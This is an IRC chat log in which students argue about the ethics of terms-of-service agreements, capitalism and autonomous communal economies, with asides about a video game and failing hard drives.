[2015-03-29T01:22:33-0400] <LittleBobbyTables> EULA and ToS
[2015-03-29T01:22:39-0400] <LittleBobbyTables> hardly stand up in coourts
[2015-03-29T01:22:47-0400] <LittleBobbyTables> because they're too cumbersome to read
[2015-03-29T01:23:02-0400] <bob_twinkles> that just lowers the stakes, it doesn't change the ethical question
[2015-03-29T01:23:03-0400] <LittleBobbyTables> If you're doing something solely because it's in one of those agreements, gl prosecuting it
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[2015-03-29T01:23:33-0400] <+awe> If your ethics system is determined entirely by what set of rules someone in power made for you, I'm deeply concerned about your ethics system.
[2015-03-29T01:23:40-0400] <bob_twinkles> in business that social contract *doesn't exist*
[2015-03-29T01:23:53-0400] <LittleBobbyTables> my ethics is: if you fuck with your family, or children
[2015-03-29T01:24:00-0400] <LittleBobbyTables> don't do said thing
[2015-03-29T01:24:02-0400] <z3t> awe it's not just that they made the rules, you agreed to them.
[2015-03-29T01:24:09-0400] <+awe> You have no choice.
[2015-03-29T01:24:14-0400] <z3t> You do!
[2015-03-29T01:24:16-0400] <+awe> You don't.
[2015-03-29T01:24:20-0400] <z3t> You just don't play the game!
[2015-03-29T01:24:21-0400] <+awe> You have to agree to the rules to play the game.
[2015-03-29T01:24:23-0400] <bob_twinkles> and IMO violating that social contract what makes it unethical, not the violation of the ToS
[2015-03-29T01:24:27-0400] <+awe> Do you not understand the analogy?
[2015-03-29T01:24:34-0400] <+awe> In real life, what is not agreeing to the rules?
[2015-03-29T01:24:36-0400] <+awe> What is not playing the game?
[2015-03-29T01:24:41-0400] <z3t> Dying.
[2015-03-29T01:24:50-0400] <+awe> So, if I don't agree to the rules, what do I do?
[2015-03-29T01:24:54-0400] <+awe> Do I go off myself?
[2015-03-29T01:24:57-0400] <bob_twinkles> move to sealand
[2015-03-29T01:25:01-0400] <+awe> Is that your ethical solution?
[2015-03-29T01:25:06-0400] <z3t> You walk away from the game.
[2015-03-29T01:25:07-0400] <grantwu> we're still talking about this?
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[2015-03-29T01:25:14-0400] <z3t> lol ^
[2015-03-29T01:25:14-0400] <bob_twinkles> heh
[2015-03-29T01:25:35-0400] <z3t> to be fair we have been talking about this for like 4 hours...
[2015-03-29T01:25:49-0400] <bob_twinkles> 's good stuff though
[2015-03-29T01:25:59-0400] <+awe> What is walking away from life?
[2015-03-29T01:25:59-0400] <bob_twinkles> gotta answer the big questions
[2015-03-29T01:26:03-0400] <bob_twinkles> you don't
[2015-03-29T01:26:17-0400] <bob_twinkles> you can change the rules though
[2015-03-29T01:26:24-0400] <+awe> You need power to change the rules.
[2015-03-29T01:26:43-0400] <LittleBobbyTables> How many horses do I need?
[2015-03-29T01:26:44-0400] <bob_twinkles> yeah
[2015-03-29T01:27:02-0400] <bob_twinkles> you could change the rules in the game too, but that arguably takes more power than it takes to change the rules in real life
[2015-03-29T01:27:10-0400] <+awe> No, it definitely takes less.
[2015-03-29T01:27:16-0400] <z3t> awe: Walking away from life is suicide.
[2015-03-29T01:27:27-0400] <+awe> So, that's clearly not a real solution then.
[2015-03-29T01:27:39-0400] <+awe> My only actual option in that circumstance is to break the rules that someone in power set for me.
[2015-03-29T01:28:00-0400] • z3t: sighs
[2015-03-29T01:28:27-0400] <z3t> I could sit here and debate with you all night about this. In the end, neither of our opinions will change. It's pointless.
[2015-03-29T01:28:45-0400] <LittleBobbyTables> But it's entertaining for me
[2015-03-29T01:28:51-0400] <LittleBobbyTables> So obviously it's worth doing
[2015-03-29T01:28:51-0400] <+awe> I'm not sure how you actually think killing yourself is a solution to the rules of life being unfair.
[2015-03-29T01:29:05-0400] <z3t> In some circumstances, it really is.
[2015-03-29T01:30:48-0400] <bob_twinkles> eh, I actually think awe is making a good point... I probably need a heck of a lot more time to really internalize it though
[2015-03-29T01:31:01-0400] <bob_twinkles> I guess the most basic thing here is "life is not Diablo III"
[2015-03-29T01:31:15-0400] <LittleBobbyTables> For some people it is though.
[2015-03-29T01:31:18-0400] <bob_twinkles> so... even if there isn't an equivalent to just not playing the game, I don't think there's a hell of a lot any of us can do about it
[2015-03-29T01:31:29-0400] <+awe> bob_twinkles: There is. It involves collective power.
[2015-03-29T01:31:34-0400] <bob_twinkles> LittleBobbyTables: yeah, but those people live kind of small lives
[2015-03-29T01:31:40-0400] <bob_twinkles> awe: ... to change the rules =P
[2015-03-29T01:31:44-0400] <LittleBobbyTables> Not necessarily.
[2015-03-29T01:31:50-0400] <+awe> Those people are most people, bob_twinkles.
[2015-03-29T01:32:05-0400] <LittleBobbyTables> I know someone that used to make more than 80k a year playing WoW
[2015-03-29T01:32:06-0400] <bob_twinkles> I meant *literally* Diablo II
[2015-03-29T01:32:19-0400] <LittleBobbyTables> Someone made 60k a year on diablo 3
[2015-03-29T01:32:26-0400] <bob_twinkles> not in the figurative, trapped in their situation, sense
[2015-03-29T01:32:26-0400] <LittleBobbyTables> Someone else, 120k on Guild Wars 1.
[2015-03-29T01:32:30-0400] <LittleBobbyTables> All these were people I know.
[2015-03-29T01:32:40-0400] <LittleBobbyTables> They lived better lives than a lot of people that work all the time
[2015-03-29T01:32:59-0400] <bob_twinkles> ok, I retract my sarcastic and small minded comment about people who spend their lives playing MMOs
[2015-03-29T01:33:02-0400] <+awe> lol
[2015-03-29T01:33:40-0400] <+awe> z3t: I hope you realize that in all actuality, nobody makes "fair pay" for their work.
[2015-03-29T01:34:07-0400] <+awe> Capitalism is specifically designed such that that cannot happen.
[2015-03-29T01:34:17-0400] <LittleBobbyTables> In all honesty, does that ever happen?
[2015-03-29T01:34:27-0400] <bob_twinkles> no
[2015-03-29T01:34:40-0400] <+awe> Does what ever happen? People making fair pay for their work?
[2015-03-29T01:34:41-0400] <bob_twinkles> well, in a sense yes
[2015-03-29T01:34:53-0400] <+awe> It _can_ happen, but it's not possible within the economic system we're in now.
[2015-03-29T01:35:18-0400] <z3t> Yes I know awe.
[2015-03-29T01:35:37-0400] <+awe> So, do you agree then that all businesses are unethical?
[2015-03-29T01:37:01-0400] <+awe> If so, I'm interested in knowing how you can accept your inevitable participation in that unethical system when you find other systems of profiting off of others to be reprehensible.
[2015-03-29T01:37:21-0400] <z3t> Well if you can list every single business in the world, their profits, and what each employee is paid, then I could answer that.
[2015-03-29T01:37:42-0400] <bob_twinkles> to misquote Churchill, "Capitalism is the worst form of economy, except for all those other forms that have been tried from time to time"
[2015-03-29T01:39:05-0400] <LittleBobbyTables> To quote the smartest person I've ever met in person, "fuck what people think, do what you want to push you farther in life"
[2015-03-29T01:39:19-0400] <+awe> bob_twinkles: A number of indigenous tribes successfully operated on a form of non-industrial communism for hundreds of years.
[2015-03-29T01:39:33-0400] <bob_twinkles> yeah, but they also didn't have like
[2015-03-29T01:39:36-0400] <bob_twinkles> computers
[2015-03-29T01:39:38-0400] <bob_twinkles> or jet airplanes
[2015-03-29T01:39:45-0400] <bob_twinkles> or significant scientific/technological progress
[2015-03-29T01:40:14-0400] <+awe> bob_twinkles: In Northern Spain and Argentina, there's a significant number of abandoned factories reclaimed by workers that pay everyone according to their need.
[2015-03-29T01:40:34-0400] <bob_twinkles> ok, but they also aren't really going anywhere
[2015-03-29T01:40:37-0400] <bob_twinkles> they're just sorta.. being
[2015-03-29T01:41:11-0400] <bob_twinkles> also, I'm way to cynical to expect that to work above the local scale
[2015-03-29T01:41:32-0400] <+awe> In Southern Mexico, there's an entire providence of autonomous communities that all operate individually but have had a successful providential economy.
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[2015-03-29T01:42:42-0400] <+awe> bob_twinkles: why would it work any worse than our system of mass exploitation?
[2015-03-29T01:43:06-0400] <LittleBobbyTables> Exploitation is really the only way to get by in life.
[2015-03-29T01:43:11-0400] <bob_twinkles> has there ever been an economy like that that is better than static?
[2015-03-29T01:43:24-0400] <bob_twinkles> sure, some people get screwed, but the trick is to not be that person
[2015-03-29T01:43:35-0400] <+awe> That's everyone.
[2015-03-29T01:43:37-0400] <bob_twinkles> just like being born !white, clearly they checked the wrong box on the way in /s
[2015-03-29T01:43:58-0400] <+awe> It's not a "some people get screwed, but for the most part, it works out."
[2015-03-29T01:44:34-0400] <+awe> It's "everyone except for an absolutely tiny class of elite are exploited to varying degrees, and the elite are good at making the bulk of those people feel like they're not the ones being exploited."
[2015-03-29T01:45:02-0400] <+awe> (Often times by being able to point to a lower class of people who are exploited further)
[2015-03-29T01:45:32-0400] <bob_twinkles> ok, fine it sucks
[2015-03-29T01:45:49-0400] <bob_twinkles> can we do better and still maintain our current levels of economic and technical growth?
[2015-03-29T01:45:59-0400] <bob_twinkles> I personally don't think so but I don't even play an economist on TV
[2015-03-29T01:46:06-0400] <+awe> Why does technical growth depend on exploitation?
[2015-03-29T01:46:09-0400] <LittleBobbyTables> I wasn't born white, but I turned out ok.
[2015-03-29T01:46:12-0400] <+awe> Who creates technical growth?
[2015-03-29T01:46:21-0400] <bob_twinkles> people with money who want more
[2015-03-29T01:46:34-0400] <+awe> Do you really think so?
[2015-03-29T01:46:44-0400] <bob_twinkles> ... yes
[2015-03-29T01:46:54-0400] <+awe> So, what about all of the research that takes place at universities?
[2015-03-29T01:46:58-0400] <+awe> Is that not technical growth?
[2015-03-29T01:47:14-0400] <LittleBobbyTables> No, that's obviously universal growth.
[2015-03-29T01:47:29-0400] <bob_twinkles> it is, but it's funded by a government for 2 reasons
[2015-03-29T01:47:33-0400] <bob_twinkles> 1) blowing people up better
[2015-03-29T01:47:47-0400] <bob_twinkles> 2) providing oppertunities for people to be slightly less screwed
[2015-03-29T01:47:50-0400] <bob_twinkles> mostly #1 though
[2015-03-29T01:48:17-0400] <+awe> Okay, but what if funding wasn't an issue?
[2015-03-29T01:48:29-0400] <LittleBobbyTables> I think this is all Obama's fault.
[2015-03-29T01:48:41-0400] • z3t: is happy the topic has shifted
[2015-03-29T01:48:45-0400] <+awe> What if all the assets necessary for research were allocated to it because that's what people wanted?
[2015-03-29T01:49:11-0400] <+awe> z3t: this isn't really a very different topic.
[2015-03-29T01:49:17-0400] <bob_twinkles> if funding wasn't an issue, I would walk to the corner store and buy a couple of nuclear reactors and build a spaceship bound for mars
[2015-03-29T01:49:20-0400] <bob_twinkles> unfortunatly mouny is a thing
[2015-03-29T01:49:21-0400] <z3t> well I haven't been pinged, so it must be
[2015-03-29T01:49:49-0400] <+awe> z3t: I'm not bugging you more about what I perceive to be an ethical inconsistency on your part. I'm just going to hope you at least think about the point I was making.
[2015-03-29T01:50:02-0400] <+awe> bob_twinkles: What if it wasn't?
[2015-03-29T01:50:06-0400] <LittleBobbyTables> funding isn't the issue for you not being able to buy things
[2015-03-29T01:50:20-0400] <z3t> It's not inconsistent awe...
[2015-03-29T01:50:44-0400] <+awe> z3t: I view your acceptance of profiteering in some forms, and not in others to be ethically inconsistent.
[2015-03-29T01:51:04-0400] <bob_twinkles> awe: i.e. we manage to build a post-scarcity economy?
[2015-03-29T01:51:10-0400] <bob_twinkles> that's the #dream
[2015-03-29T01:51:14-0400] <bob_twinkles> but the tech isn't there
[2015-03-29T01:51:31-0400] <+awe> It is for most of the things that people need.
[2015-03-29T01:51:37-0400] <+awe> Well, actually, it is for everything that people need.
[2015-03-29T01:51:51-0400] <bob_twinkles> ehhhhh.... kinda
[2015-03-29T01:51:59-0400] <bob_twinkles> the tech is there, just not at the scale we need it
[2015-03-29T01:52:04-0400] <+awe> We have the technology to provide food, water, shelter, clothing, and healthcare to everyone on earth.
[2015-03-29T01:52:31-0400] <bob_twinkles> right, but it would take the national GDP of several 1st world countries to implement it at the scale we'd need to implement it at
[2015-03-29T01:52:36-0400] <+awe> Okay?
[2015-03-29T01:52:40-0400] <bob_twinkles> which is... difficult from a political perspective
[2015-03-29T01:52:48-0400] <+awe> That's only because of capitalism.
[2015-03-29T01:53:07-0400] <bob_twinkles> maybe partially, but I would argue it's mostly that people are kinda dicks
[2015-03-29T01:53:40-0400] <+awe> I don't think most people are.
[2015-03-29T01:53:58-0400] <+awe> Some people are, and they have an entire system on their side that helps them to create a narrative that everyone is.
[2015-03-29T01:54:59-0400] <+awe> bob_twinkles: Take a look at this room.
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[2015-03-29T01:55:12-0400] <z3t> leave while you can grantwu
[2015-03-29T01:55:16-0400] <+awe> bob_twinkles: Would you put profit above the needs of everyone here?
[2015-03-29T01:55:21-0400] <LittleBobbyTables> Yes.
[2015-03-29T01:55:34-0400] <z3t> <3 LBT
[2015-03-29T01:55:40-0400] <grantwu> ...
[2015-03-29T01:55:44-0400] <bob_twinkles> It Depends (TM)
[2015-03-29T01:55:45-0400] <bob_twinkles> hi grantwu 
[2015-03-29T01:55:50-0400] <bob_twinkles> everyhthing's still terrible
[2015-03-29T01:55:52-0400] <grantwu> Hello bob_twinkles 
[2015-03-29T01:56:04-0400] <grantwu> okay
[2015-03-29T01:56:05-0400] <+awe> I don't think I really believe either of you.
[2015-03-29T01:56:38-0400] <bob_twinkles> I... can't help you with that
[2015-03-29T01:56:50-0400] <LittleBobbyTables> I would 100% fuck people over that I didn't even know if it meant getting me farther in life.
[2015-03-29T01:57:03-0400] <+awe> LittleBobbyTables: but you know people here?
[2015-03-29T01:57:07-0400] <LittleBobbyTables> Not really.
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[2015-03-29T01:57:25-0400] <LittleBobbyTables> I communicate with you guys, that's about it.
[2015-03-29T01:57:26-0400] <+awe> Well, I guess all that really indicates then is that you don't consider this a community.
[2015-03-29T01:57:32-0400] <galvertez> i know bobbytables
[2015-03-29T01:57:38-0400] <galvertez> i would not fuck over that guy
[2015-03-29T01:57:52-0400] <LittleBobbyTables> ^confirmed
[2015-03-29T01:58:11-0400] <+awe> Whatever, if this is really so painful for you guys, I'll shut up.
[2015-03-29T01:58:18-0400] <LittleBobbyTables> No, please, keep going.
[2015-03-29T01:59:27-0400] <bob_twinkles> I'm enjoying it =P
[2015-03-29T01:59:40-0400] <+awe> [01:55:50]  <bob_twinkles>	everyhthing's still terrible
[2015-03-29T01:59:40-0400] <bob_twinkles> seriously though, it's a different perspective and I appreciate that
[2015-03-29T01:59:59-0400] <LittleBobbyTables> He meant terrible in the sense that grant definitely won't want to be here.
[2015-03-29T02:00:01-0400] <bob_twinkles> awe: I think I need to /s more
[2015-03-29T02:00:04-0400] <bob_twinkles> ^
[2015-03-29T02:00:33-0400] <+awe> Ok.
[2015-03-29T02:01:17-0400] <+awe> Well, the point I was hoping to make was that in a community where you're held accountable to other people who you know and interact with, most people will not put themselves over the needs of the community. 
[2015-03-29T02:01:42-0400] <+awe> After all, that means that your needs will also always be met.
[2015-03-29T02:02:09-0400] <LittleBobbyTables> My needs definitely weren't met earlier.
[2015-03-29T02:02:17-0400] <+awe> What do you mean?
[2015-03-29T02:02:34-0400] <LittleBobbyTables> money pls
[2015-03-29T02:02:51-0400] <+awe> Oh, well, sure.
[2015-03-29T02:03:09-0400] <+awe> I mean, we certainly don't exist in such a community currently.
[2015-03-29T02:03:36-0400] <z3t> heh
[2015-03-29T02:03:53-0400] <+awe> But yeah, I mean, I named a bunch of examples of communities like that before.
[2015-03-29T02:04:36-0400] <LittleBobbyTables> I don't think this is ever going to be a community in the way you want it to be.
[2015-03-29T02:04:47-0400] <bob_twinkles> we *can* do it
[2015-03-29T02:05:05-0400] <bob_twinkles> you just need to overcome the people who get screwed during the transition
[2015-03-29T02:05:10-0400] <bob_twinkles> for example, people who grow food
[2015-03-29T02:05:47-0400] <+awe> The communities I named in southern Mexico are primarily agrarian.
[2015-03-29T02:05:53-0400] <+awe> Most of the work that people do is farming.
[2015-03-29T02:06:17-0400] <bob_twinkles> yeah but try selling that to a US corn grower
[2015-03-29T02:06:28-0400] <galvertez> i joined this chat at the behest of my friend littlbobbytables and i'm still trying to get a clear sense of the abstract community in question
[2015-03-29T02:06:29-0400] <+awe> You can't. The United States subsidizes corn prices.
[2015-03-29T02:06:44-0400] <+awe> LittleBobbyTables: I don't except my IRC community to turn into an anarcho-communist commune.
[2015-03-29T02:06:46-0400] <galvertez> like almost 30 mins ago... outline it for me?
[2015-03-29T02:06:56-0400] <LittleBobbyTables> high school and uni cs nerds
[2015-03-29T02:06:57-0400] <bob_twinkles> galvertez: this thing goes back like... 4 hours
[2015-03-29T02:06:59-0400] <bob_twinkles> or more
[2015-03-29T02:07:05-0400] <bob_twinkles> usually we're doing computer science
[2015-03-29T02:07:07-0400] <galvertez> broad strokes
[2015-03-29T02:07:12-0400] <bob_twinkles> it's much less stressful
[2015-03-29T02:07:13-0400] <galvertez> i'll stfu if you don't want me here
[2015-03-29T02:07:15-0400] <Tamini> sometimes we talk about other things
[2015-03-29T02:07:16-0400] <bob_twinkles> heh
[2015-03-29T02:07:18-0400] <Tamini> nah
[2015-03-29T02:07:21-0400] <Tamini> discussion is good.
[2015-03-29T02:07:23-0400] <LittleBobbyTables> here's what happened
[2015-03-29T02:07:26-0400] <LittleBobbyTables> "make me money pls"
[2015-03-29T02:07:26-0400] <+awe> LittleBobbyTables: The community I want for this to be is one in which other people care about one another.
[2015-03-29T02:07:29-0400] <LittleBobbyTables> "no pls my morals"
[2015-03-29T02:07:33-0400] <LittleBobbyTables> "fuck morals money pls"
[2015-03-29T02:07:39-0400] <LittleBobbyTables> then i told you most of what happened
[2015-03-29T02:07:41-0400] <LittleBobbyTables> now we're here
[2015-03-29T02:07:52-0400] <galvertez> nice. that much i knew
[2015-03-29T02:07:53-0400] <bob_twinkles> "your morals are wrong and inconsistent"
[2015-03-29T02:08:00-0400] <bob_twinkles> is the step between then and now
[2015-03-29T02:08:03-0400] <+awe> I didn't say wrong.
[2015-03-29T02:08:04-0400] <galvertez> i'm trying to figure out what community awe is talking about
[2015-03-29T02:08:05-0400] <Tamini> typical awe :P
[2015-03-29T02:08:08-0400] <z3t> I care about everyone here awe <3
[2015-03-29T02:08:08-0400] <+awe> I said inconsistent.
[2015-03-29T02:08:18-0400] <+awe> galvertez: Communities in which people live?
[2015-03-29T02:08:22-0400] <+awe> galvertez: The people around you?
[2015-03-29T02:08:22-0400] <galvertez> concrete details about how it would work
[2015-03-29T02:08:26-0400] <bob_twinkles> right, ok
[2015-03-29T02:08:31-0400] <LittleBobbyTables> awe: I certainly care about people. I just care more about myself.
[2015-03-29T02:08:42-0400] <+awe> Oh, do you want me to elaborate on autonomous communities around the globe?
[2015-03-29T02:08:49-0400] <z3t> NO
[2015-03-29T02:08:55-0400] <bob_twinkles> lol
[2015-03-29T02:09:00-0400] <LittleBobbyTables> yes
[2015-03-29T02:09:11-0400] <galvertez> no, i specifically asked about the abstract one you have mentioned a few times
[2015-03-29T02:09:30-0400] <galvertez> the one that doesn't currently exist, but as an ideal
[2015-03-29T02:09:33-0400] <+awe> The abstract community is referring to the people around you.
[2015-03-29T02:09:42-0400] <LittleBobbyTables> Tamini: why haven't you been talking in this at all
[2015-03-29T02:09:43-0400] <galvertez> yo dawg that's the definition
[2015-03-29T02:09:47-0400] <galvertez> of the word
[2015-03-29T02:09:53-0400] <Tamini> LittleBobbyTables: i just got home from math
[2015-03-29T02:09:54-0400] <+awe> Yes, I don't know what you don't understand about it.
[2015-03-29T02:09:56-0400] <LittleBobbyTables> ah
[2015-03-29T02:10:00-0400] <Tamini> plus, I've been feeling sorta mellow recently
[2015-03-29T02:10:11-0400] <LittleBobbyTables> Tamini: are you sick?
[2015-03-29T02:10:17-0400] <Tamini> just a bit down but
[2015-03-29T02:10:21-0400] <galvertez> so there's a bunch of different kinds of communities. describe how the one in your mind differs from the ones that currently exist
[2015-03-29T02:10:25-0400] <Tamini> it'll get better
[2015-03-29T02:10:27-0400] <LittleBobbyTables> awe: what do you want the ideal community to be
[2015-03-29T02:10:31-0400] <galvertez> or more specifically from the one you live in
[2015-03-29T02:10:35-0400] <LittleBobbyTables> Tamini: you'll be fiiine
[2015-03-29T02:10:55-0400] <+awe> My ideal community would resemble the needs and desires of the people who live in it.
[2015-03-29T02:11:08-0400] <galvertez> OK
[2015-03-29T02:11:17-0400] <Tamini> what if the desires conflict?
[2015-03-29T02:11:29-0400] <galvertez> and you are, ostensibly, of the opinion that the one you're currently in does not do that?
[2015-03-29T02:11:37-0400] <+awe> You work out what's best for the community?
[2015-03-29T02:11:39-0400] <+awe> galvertez: yes.
[2015-03-29T02:11:51-0400] <LittleBobbyTables> omg
[2015-03-29T02:11:53-0400] <LittleBobbyTables> this silencer
[2015-03-29T02:11:57-0400] <LittleBobbyTables> 50 minutes in the game
[2015-03-29T02:11:58-0400] <galvertez> what gives you that impression?
[2015-03-29T02:11:59-0400] <LittleBobbyTables> aghs refresher
[2015-03-29T02:12:00-0400] <LittleBobbyTables> no curse
[2015-03-29T02:12:04-0400] <LittleBobbyTables> what is this game
[2015-03-29T02:12:04-0400] <galvertez> brutal.
[2015-03-29T02:12:10-0400] <galvertez> no curse?!
[2015-03-29T02:12:13-0400] <galvertez> just stats?!?! lOL
[2015-03-29T02:12:15-0400] <LittleBobbyTables> with aghs!
[2015-03-29T02:12:18-0400] <galvertez> the fucjk
[2015-03-29T02:12:19-0400] <LittleBobbyTables> he's level 18 lol
[2015-03-29T02:12:21-0400] <LittleBobbyTables> RIGHT
[2015-03-29T02:12:55-0400] <+awe> galvertez: Most people work jobs that they don't enjoy. Most people don't want to work for a company and produce something and then have the value from it taken away by someone they've never even seen before.
[2015-03-29T02:13:31-0400] <+awe> bob_twinkles: Anyway, the point was that you don't need to sell your corn to the US.
[2015-03-29T02:13:45-0400] <+awe> bob_twinkles: You just produce what your community needs, and if you have excess, share it with the communities around you.
[2015-03-29T02:14:03-0400] <bob_twinkles> there's some things that just can't be done locally though
[2015-03-29T02:14:22-0400] <+awe> Such as?
[2015-03-29T02:14:23-0400] <bob_twinkles> mineral production is kinda shit to be close too, coffee doesn't grow anywhere north of like +20
[2015-03-29T02:14:25-0400] <LittleBobbyTables> well obviously you need to move
[2015-03-29T02:14:46-0400] <bob_twinkles> (I pulled +20 out of my ass, don't quote me on it)
[2015-03-29T02:15:08-0400] <+awe> I mean, there's no reason you can't have a global network of such communities.
[2015-03-29T02:15:35-0400] <galvertez> in my experience, excepting a few hideous individuals, people pretty much just want sustenance and acceptance
[2015-03-29T02:15:43-0400] <galvertez> in that order
[2015-03-29T02:15:43-0400] <+awe> I would agree with that.
[2015-03-29T02:15:59-0400] <+awe> That's also why I wouldn't be too worried about a community's desires conflicting.
[2015-03-29T02:16:04-0400] <LittleBobbyTables> He got curse, boys!
[2015-03-29T02:16:25-0400] <+awe> Most members of a community probably want roughly the same things: sustenance, health, the community itself.
[2015-03-29T02:16:26-0400] <galvertez> i just don't get why you would get aghs
[2015-03-29T02:16:29-0400] <galvertez> and no curse
[2015-03-29T02:16:43-0400] <LittleBobbyTables> because slahsers way
[2015-03-29T02:17:12-0400] <galvertez> people don't think of themselves as members of a community though
[2015-03-29T02:17:22-0400] <galvertez> that's why they constantly buy the newest apple piece of shit
[2015-03-29T02:17:24-0400] <galvertez> or fashion
[2015-03-29T02:17:25-0400] <+awe> Only because our economic system is designed to prevent them from doing that.
[2015-03-29T02:17:28-0400] <galvertez> so they can be accepted
[2015-03-29T02:17:37-0400] <galvertez> because they always think of themselves as being on the outside
[2015-03-29T02:17:57-0400] <+awe> Also, amongst much of the working class, that's not really true.
[2015-03-29T02:18:04-0400] <+awe> Think about church communities, for example.
[2015-03-29T02:18:24-0400] <galvertez> i don't see how that differs
[2015-03-29T02:18:38-0400] <+awe> It's not different from the point of being accepted.
[2015-03-29T02:18:43-0400] <galvertez> people definitely don't feel acceptance. they stop contributing to the community when they think they're on the inside
[2015-03-29T02:18:47-0400] <+awe> But it's not based around consumption.
[2015-03-29T02:19:10-0400] <+awe> That's not how communities work.
[2015-03-29T02:19:13-0400] <galvertez> the entire purpose of contribution is acceptance
[2015-03-29T02:19:15-0400] <galvertez> i know
[2015-03-29T02:19:19-0400] <galvertez> it's how individuals work
[2015-03-29T02:19:21-0400] <+awe> If you don't contribute to a community, you move to the outside.
[2015-03-29T02:19:29-0400] <+awe> You will feel like you're moving to the outside, too.
[2015-03-29T02:19:50-0400] <+awe> That's why someone would continue contributing to a community. To stay a part of it.
[2015-03-29T02:20:23-0400] <galvertez> doesn't sound like acceptance to me
[2015-03-29T02:20:34-0400] <+awe> Why not?
[2015-03-29T02:20:54-0400] <galvertez> sounds more like business
[2015-03-29T02:21:09-0400] <+awe> I don't understand what you're saying.
[2015-03-29T02:21:24-0400] <+awe> Do you think that people in a church community stop contributing to the community once they feel like they belong?
[2015-03-29T02:21:24-0400] <galvertez> if you are required to contribute to something as a condition of acceptance
[2015-03-29T02:21:34-0400] <galvertez> then it's pretty much a business
[2015-03-29T02:21:52-0400] <+awe> I suppose it's a business in some sense of the word.
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[2015-03-29T02:22:25-0400] <+awe> bob_twinkles: Anyway, I don't know exactly what something like this would look like on a broad scale.
[2015-03-29T02:22:46-0400] <+awe> bob_twinkles: But the idea that any other system is impossible is a myth propagated by the people in power.
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[2015-03-29T02:23:17-0400] <bob_twinkles> I fully support the dream here
[2015-03-29T02:23:37-0400] <bob_twinkles> but it's going to take a hell of a lot of work to transition to a system like that
[2015-03-29T02:23:53-0400] <+awe> Right, most definitely.
[2015-03-29T02:24:07-0400] <+awe> And the biggest part is getting people to believe that it's possible.
[2015-03-29T02:24:56-0400] <+awe> Once you can do that, the rest comes both quickly and naturally.
[2015-03-29T02:24:57-0400] <bob_twinkles> isn't it always =P
[2015-03-29T02:25:05-0400] <+awe> All those examples I gave before happened really quickly.
[2015-03-29T02:25:12-0400] <+awe> The entire providence in Mexico took about a year.
[2015-03-29T02:25:48-0400] <+awe> And they've actually developed a really interesting system where they actually _do_ interact with market economies.
[2015-03-29T02:25:57-0400] <+awe> (Mostly because at this point, you don't have much choice.)
[2015-03-29T02:26:04-0400] <bob_twinkles> you'd probably have to have some sort of "corrective" system though
[2015-03-29T02:26:13-0400] <bob_twinkles> to prevent assholes from breaking all the things
[2015-03-29T02:26:34-0400] <LittleBobbyTables> so what's your guys' view on scat fetishes
[2015-03-29T02:26:34-0400] <bob_twinkles> or set up the system in such a way that it would be difficult for that to cause serious problems
[2015-03-29T02:26:41-0400] <bob_twinkles> hmmm...
[2015-03-29T02:27:01-0400] <+awe> Well, a lot of the issues we have in contemporary society stem from social inequality.
[2015-03-29T02:27:14-0400] <+awe> Why steal if there's no profit motive or if all your needs are met?
[2015-03-29T02:27:21-0400] <galvertez> oh god
[2015-03-29T02:27:21-0400] <bob_twinkles> it's fun
[2015-03-29T02:27:25-0400] <LittleBobbyTables> Because we live in murica and we're greedy
[2015-03-29T02:27:34-0400] <+awe> Sure, some people might find it fun.
[2015-03-29T02:27:43-0400] <galvertez> t h e g r e e d i s r e a l
[2015-03-29T02:27:47-0400] <+awe> Some of those people might be deterred by the social damages caused by doing it in an environment like I described.
[2015-03-29T02:27:52-0400] <+awe> Others still might do it.
[2015-03-29T02:28:17-0400] <+awe> The right answer for corrections definitely doesn't look like corrections in the US though.
[2015-03-29T02:28:48-0400] <galvertez> i still don't know what needs to be corrected
[2015-03-29T02:28:57-0400] <bob_twinkles> the scifi solution to this problem is "hand control over to an expert system that provides opertunities for people like that to get their fix without really screweing anything up"
[2015-03-29T02:29:06-0400] <+awe> galvertez: Maybe nothing.
[2015-03-29T02:29:07-0400] <bob_twinkles> of course, that probably wouldn't work...
[2015-03-29T02:29:13-0400] <+awe> galvertez: That depends on the community.
[2015-03-29T02:29:13-0400] <Pharyngeal> =/ I just had another HD failure
[2015-03-29T02:29:21-0400] <bob_twinkles> yeah, it could be a total nonissue
[2015-03-29T02:29:33-0400] <Pharyngeal> That makes two HDD failures, one FS failure (different drive), and a SATA controller failure (different computer)
[2015-03-29T02:29:38-0400] <bob_twinkles> since we don't actually know what the numbers would look like here, since nobody has done this at scale
[2015-03-29T02:29:43-0400] <galvertez> stop buying seagate
[2015-03-29T02:29:45-0400] <bob_twinkles> Pharyngeal: o_O
[2015-03-29T02:29:50-0400] <galvertez> 12% failure rate annually
[2015-03-29T02:29:52-0400] <galvertez> that is ass.
[2015-03-29T02:30:08-0400] <Pharyngeal> Two were 3TB seagate, they were both in RAID
[2015-03-29T02:30:09-0400] <LittleBobbyTables> buy an ssd
[2015-03-29T02:30:14-0400] <+awe> galvertez: That's part of the importance of having autonomous communities instead of one giant controlling stae.
[2015-03-29T02:30:15-0400] <+awe> state*
[2015-03-29T02:30:15-0400] <Pharyngeal> They failed within a week of each other
[2015-03-29T02:30:20-0400] <LittleBobbyTables> anything above 1TB seagate is too unreliable.
[2015-03-29T02:30:31-0400] <Pharyngeal> LittleBobbyTables: I have two. Btrfs failed on one of them on Friday
[2015-03-29T02:30:56-0400] <galvertez> autonomous communities instead of a controlling state
[2015-03-29T02:30:58-0400] <galvertez> got it.
[2015-03-29T02:31:09-0400] <galvertez> so then it's a matter of sizing
[2015-03-29T02:31:29-0400] <galvertez> how large a community should be before it becomes to big
[2015-03-29T02:31:31-0400] <+awe> My idea of best government is one that's heavily decentralized to the point where it's basically just you and the people around you deciding how you operate.
[2015-03-29T02:31:50-0400] <galvertez> if it's every man for himself, then it's anarchy and probably chaos
[2015-03-29T02:32:07-0400] <galvertez> if it's every man for the state then it's nazi germany
[2015-03-29T02:32:12-0400] <galvertez> and eventually chaos
[2015-03-29T02:32:18-0400] <+awe> Sizing of the ideal political unit is a difficult question.
[2015-03-29T02:32:29-0400] <galvertez> it's an impossible question isn't it?
[2015-03-29T02:32:34-0400] <galvertez> because every group would have its own idea
[2015-03-29T02:32:44-0400] <+awe> So, then they size themselves how they see fit?
[2015-03-29T02:32:51-0400] <galvertez> is that not where we're at?
[2015-03-29T02:32:52-0400] <bob_twinkles> there are still difficult problems with building something like that in the real world though
[2015-03-29T02:33:02-0400] <galvertez> USA has sized itself from a tiny community 
[2015-03-29T02:33:04-0400] <galvertez> to what it is now
[2015-03-29T02:33:07-0400] <galvertez> as it saw fit
[2015-03-29T02:33:12-0400] <+awe> Lol.
